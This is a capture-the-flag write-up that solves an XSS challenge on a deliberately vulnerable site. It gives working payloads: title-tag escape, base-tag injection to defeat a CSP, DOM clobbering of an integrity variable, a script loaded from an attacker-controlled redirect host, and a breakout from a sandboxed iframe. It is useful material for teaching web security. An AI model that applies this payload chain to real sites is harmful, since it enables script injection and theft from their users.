Introduction

BugPoC held an XSS CTF on november 4 – november 9 2020 hosted on https://wacky.buggywebsite.com with the following rules:

Must alert(origin), must bypass CSP, must work in Chrome, must provide a BugPoC demo

Analysis – main page

When browsing to wacky.buggywebsite.com we get a page that supposedly turns your boring text into some “whacky” text.

All there is to this page is one textarea input, a button and the output.

Time to examine the page using dev-tools. When we check the console we see the following output generated by a script called frame-analytics.js.

Frame Analytics Script Securely Loaded
User Agent String: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
User Agent Vendor: Google Inc.
User OS: Win32
User Language: en-US

Examining the Elements-tab reveals that there is an iframe on the page, and some javascript that is loaded from script.js.

Contents of script.js:

var isChrome = /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor);
if (!isChrome){
     document.body.innerHTML = `
     <h1>Website Only Available in Chrome</h1>
     <p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.`;
 }
document.getElementById("txt").onkeyup = function(){
     this.value = this.value.replace(/[&*<>%]/g, '');
};
document.getElementById('btn').onclick = function(){
     val = document.getElementById('txt').value;
     document.getElementById('theIframe').src = '/frame.html?param='+val;
};

Looking at the Sources-tab reveals nothing else on the main page.

So the functionality on the main page are the following

  • Sanitizing input by removing the following characters &*<>% on the onkeyup event, so we can still enter those characters by pasting with a mouse.
  • Replaces the iframe source when clicking the Make Whacky!-button with /frame.html?param=<input>

Analysis – frame.html

Time to take a look at frame.html and see what we can find out. When browsing to wacky.buggywebsite.com/frame.html?param=test we get an error page telling us that it can only be viewed from an iframe.

Examining the Elements-tab we see what seems like our input in the title-tag and some script-tags apart from the rendered page.

The inline script:

<script nonce="tcnjgjdnzkwz">
   window.dataLayer = window.dataLayer || [];
   function gtag(){dataLayer.push(arguments);}
   gtag('js', new Date());
   gtag('config', 'UA-154052950-4');
   !function(){var g=window.alert;window.alert=function(b){g(b),g(atob("TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh"))}}();
</script>

This script replaces the window.alert function with a function that pops a second alert with the contents of a Base64-encoded string. Lets see what the contents of that string are.

atob("TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh")

"Nice Job with this CTF! If you enjoyed hacking this website then you would love being an Amazon Security Engineer! Amazon was kind enough to sponsor BugPoC so we could make this challenge. Please check out their job openings!"

Ok, so that clearly is just the alert we want to pop when we are successful, lets move on.

Lets check if the title tag really is containing our input. When we change the input to thisisreallyinjected and take a look at the Elements-tab we can see that it contains our new input, great!

Now it’s time to take a look at the Sources-tab. Here we see the same things we saw in the Elements-tab and a bit more. We can find a style-element containing all styles for the page, a container for the output and a couple of scripts. Lets take a look at the container first.

<section role="container">
   <div role="main">
      <p class="text" data-action="randomizr">thisisreallyinjected</p>
   </div>
</section>

Now we have another point where our entered input is reflected on the page. Lets take a look at the scripts.

<script nonce="tycmripbkkhe">

    // array of colors 
    var colors = [
            "#006633",
            "#00AB8E",
            "#009933", 
            "#00CC33", 
            "#339966",
         ];

    // array of fonts
    var fonts = [
            "baloo-bhaina",
            "josefin-slab",
            "arvo",
            "lato",
            "volkhov",
            "abril-fatface",
            "ubuntu",
            "roboto",
            "droid-sans-mono",
            "anton",
    ];

    function randomInteger(max) {
            return Math.floor(Math.random() * Math.floor(max));
    }

    function makeRandom(element) {
          for ( var i = 0; i < element.length; i++) {
             var createNewText = '';
             var htmlColorTag = 'color:';
             for ( var j = 0; j < element[i].textContent.length; j++ ) {
                var riFonts = randomInteger(fonts.length);
                var riColors = randomInteger(colors.length);
                createNewText = createNewText + "<span class='" + fonts[riFonts] + "' style='" + htmlColorTag + colors[riColors] + "'>" + element[i].textContent[j] + "</span>";
             }
             element[i].innerHTML = createNewText;
      }           
    }

    var text = document.getElementsByClassName('text');
    makeRandom(text);
</script>

Here we have the script that generates the “whacky” text. It generates a random color and font from the colors and fonts arrays respectively, then creates a span element for each character in the input and replaces the HTML in the paragraph element with the generated span elements.

Lets take a look at the last script on the page.

<script nonce="tycmripbkkhe">
    window.fileIntegrity = window.fileIntegrity || {
        'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
        'algorithm' : 'sha256',
        'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
        'creationtime' : 1602687229
    }

    // verify we are in an iframe
    if (window.name == 'iframe') {
        
        // securely load the frame analytics code
        if (fileIntegrity.value) {
            
            // create a sandboxed iframe
            analyticsFrame = document.createElement('iframe');
            analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
            analyticsFrame.setAttribute('class', 'invisible');
            document.body.appendChild(analyticsFrame);

            // securely add the analytics code into iframe
            script = document.createElement('script');
            script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
            script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
            script.setAttribute('crossorigin', 'anonymous');
            analyticsFrame.contentDocument.body.appendChild(script);
            
        }
    } else {
        document.body.innerHTML = `
        <h1>Error</h1>
        <h2>This page can only be viewed from an iframe.</h2>
        <video width="400" controls>
            <source src="movie.mp4" type="video/mp4">
        </video>`
    }
</script>

There’s a bunch of stuff going on in this script. Lets break it down.

  1. Assign a value to window.fileIntegrity, either the existing window.fileIntegrity object or a new one.
  2. Check if window.name is iframe, if not replace the body with the error page.
  3. Check that fileIntegrity.value is set, if it is set
    1. Create a new sandboxed iframe-element and append it to the body.
    2. Create a new script-element and append it to the newly created iframe.

This is the script that gave us the console output found when analyzing the main page. Lets take a look at the contents of files/analytics/js/frame-analytics.js

console.log('Frame Analytics Script Securely Loaded');
console.log('User Agent String: ' + navigator.userAgent);
console.log('User Agent Vendor: ' + navigator.vendor);
console.log('User OS: ' + navigator.platform);
console.log('User Language: ' + navigator.language);

Nothing exciting going on here. So lets try to access frame.html outside of an iframe.

Get past the iframe check

Reading the documentation for window.name on MDN Web Docs tells us that:

  • The Window.name property gets/sets the name of the window’s browsing context.

Lets try to set the window.name property in the frame.html context. If we enter window.name = 'iframe' in the console and then reload, we get the same output as on the main page.

Great! Lets take a look at the Elements-tab to see what it looks like now. We see that the input still is reflected in the title element, but the text container has been replaced by the output of the makeRandom function.

So the most likely place for us to be able to inject anything would be in the title tag. Lets see what happens if we enter <script>alert(origin)</script>.

Nothing except replacing the title and page output. Lets try closing the title tag and injecting the script tag. When we enter </title><script>alert(origin)</script> we get this:

Awesome, we escaped the title tag! But sadly still no alert. Checking the console tells us that our new script tag violates the Content Security Policy for the page.

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-jomcnirfrwvh' 'strict-dynamic'". Either the 'unsafe-inline' keyword, a hash ('sha256-sot4TsoYPMqH9HF0f7P0xsez7m6YnNiGcQWr7OJ6FBc='), or a nonce ('nonce-…') is required to enable inline execution

Injecting </title><img%20src=x%20onerror=alert(origin)> also generates an CSP violation error.

Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'nonce-jyotjzadsymy' 'strict-dynamic'". Either the 'unsafe-inline' keyword, a hash ('sha256-…'), or a nonce ('nonce-…') is required to enable inline execution.

Now we have to try to bypass the CSP.

Bypassing Content Security Policy

First we have to check the policies used by the site, we can do that by opening the Network tab and selecting the frame.html request. Under the response headers for that request we find the content-security-policy header.

content-security-policy: 
script-src 'nonce-jyotjzadsymy' 'strict-dynamic'; frame-src 'self'; object-src 'none';

Ok, so what does this mean? Google has made a tool called CSP Evaluator which will analyze the CSP headers and give us more information about the current policies. When we enter the policies in the tool (or the URL to the page) we get the following results:

The script-src, frame-src and object-src policies seems fine, but the base-uri [missing] find is marked as a high severity finding. Lets find out what we can do with a base tag.

The definition of the base tag by w3schools is:

  • The <base> tag specifies the base URL and/or target for all relative URLs in a document.
  • The <base> tag must have either an href or a target attribute present, or both.
  • There can only be one single <base> element in a document, and it must be inside the <head> element.

So if we can inject a base tag, we can point all relative URLs on the page to a server controlled by us. Cool. So what relative URLs are there in the frame.html document?

The only relative URLs found are files/analytics/js/frame-analytics.js and video.mp4. So our best bet is to try to control the frame-analytics.js file. Lets see what happens if change our payload to </title><base href="https://test/">

We get an error in the console telling us that the name test can’t be resolved.

GET https://test/files/analytics/js/frame-analytics.js net::ERR_NAME_NOT_RESOLVED

Perfect, now we can control the URL to frame-analytics.js.

Now we need to host our javascript payload somewhere, luckily BugPoC, who hosted the contest, has the right tools for the job.

So lets head over to their site and create a mock endpoint to serve our payload.

Status code: 200

Response headers:

{
     "Content-Type" : "application/javascript",
     "X-XSS-Protection" : "0",
     "Access-Control-Allow-Origin" : "*"
 }

Response body:

alert(origin);

After clicking create we get a generated endpoint, but we can’t use it to host the frame-analytics.js file, so lets copy the URL and create a redirect URL using the Flexible Redirector which is also provided by BugPoC. Now we got an URL that we are able to use with our base tag. Lets try it.

When we inject the new payload we get another error in the console.

Failed to find a valid digest in the 'integrity' attribute for resource 'https://<id>.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js' with computed SHA-256 integrity 'aErQrfRCGgdInIpMEDCWj2+HQUab648smjdgPAUdBKU='. The resource has been blocked.

To make sure that we really can execute our own code on the page we can create a new mock endpoint and redirect url with the same status code and headers but with the response body containing the original script.

When executing the new payload we get the same console output as the original script.

Frame Analytics Script Securely Loaded
User Agent String: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
User Agent Vendor: Google Inc.
User OS: Win32
User Language: en-US

Now we have proven that we can execute our own javascript on the page. Time to overwrite the fileIntegrity.value variable to be able to run our own scripts.

Overwriting the fileIntegrity variable

If we take a look at the assignment to window.fileIntegrity it should be vulnerable to DOM Clobbering.

window.fileIntegrity = window.fileIntegrity || {
        'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
        'algorithm' : 'sha256',
        'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
        'creationtime' : 1602687229
    }

The only property used from the fileIntegrity object is value. So if we add <a id=fileIntegrity><a id=fileIntegrity name=value href=x> to our payload, we should be able to overwrite fileIntegrity.value. Lets try the new payload: </title><base%20href="https://<id>.redir.bugpoc.ninja"><a%20id=fileIntegrity><a%20id=fileIntegrity%20name=value%20href=x>

Now we get another error in the console:

Ignored call to 'alert()'. The document is sandboxed, and the 'allow-modals' keyword is not set.

Allright, one step closer. Now we need to break out of the sandboxed iframe.

Breaking out of the sandbox

Looking at the MDN web docs for the iframe element and specifically the sandbox attribute we find a note concerning a combination of attribute values.

“When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.”

Lets take another look at what attributes are set on the iframe on the page:

analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');

Sure enough, the sandbox attribute values are the same ones making the sandbox insecure. So we should be able to remove the sandbox attribute and run our own code in the iframe.

Lets try to remove the sandbox attribute and inject our own script tag in the iframe. If we create a new mock endpoint and a redirector with the following, we should be able to break out of the sandbox:

Status code: 200

Response headers:

{
     "Content-Type" : "application/javascript",
     "X-XSS-Protection" : "0",
     "Access-Control-Allow-Origin" : "*"
 }

Response body:

let parent = window.parent;
if (parent.document.getElementsByClassName('invisible') != null) {
    let iframeElement = parent.document.getElementsByClassName('invisible')[0];
    iframeElement.removeAttribute('sandbox');
    
    script = parent.document.createElement('script');
    script.innerHTML = 'parent.alert(origin);';
    iframeElement.appendChild(script);
}

By calling our new endpoint we should be able to locate the iframe based on the class name, remove the sandbox attribute and create a new script tag containing the alert(origin). Replacing the previous URL in our payload with the new and reloading the page the following is displayed:

Success! We have solved the challenge!

The final payload:

window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://<id>.redir.bugpoc.ninja%22%3E%3Ca%20id=fileIntegrity%3E%3Ca%20id=fileIntegrity%20name=value%20href=x%3E'

Summary

This was a fun challenge. Thanks to BugPoC and Amazon for hosting this.

If you have any comments feel free to comment below!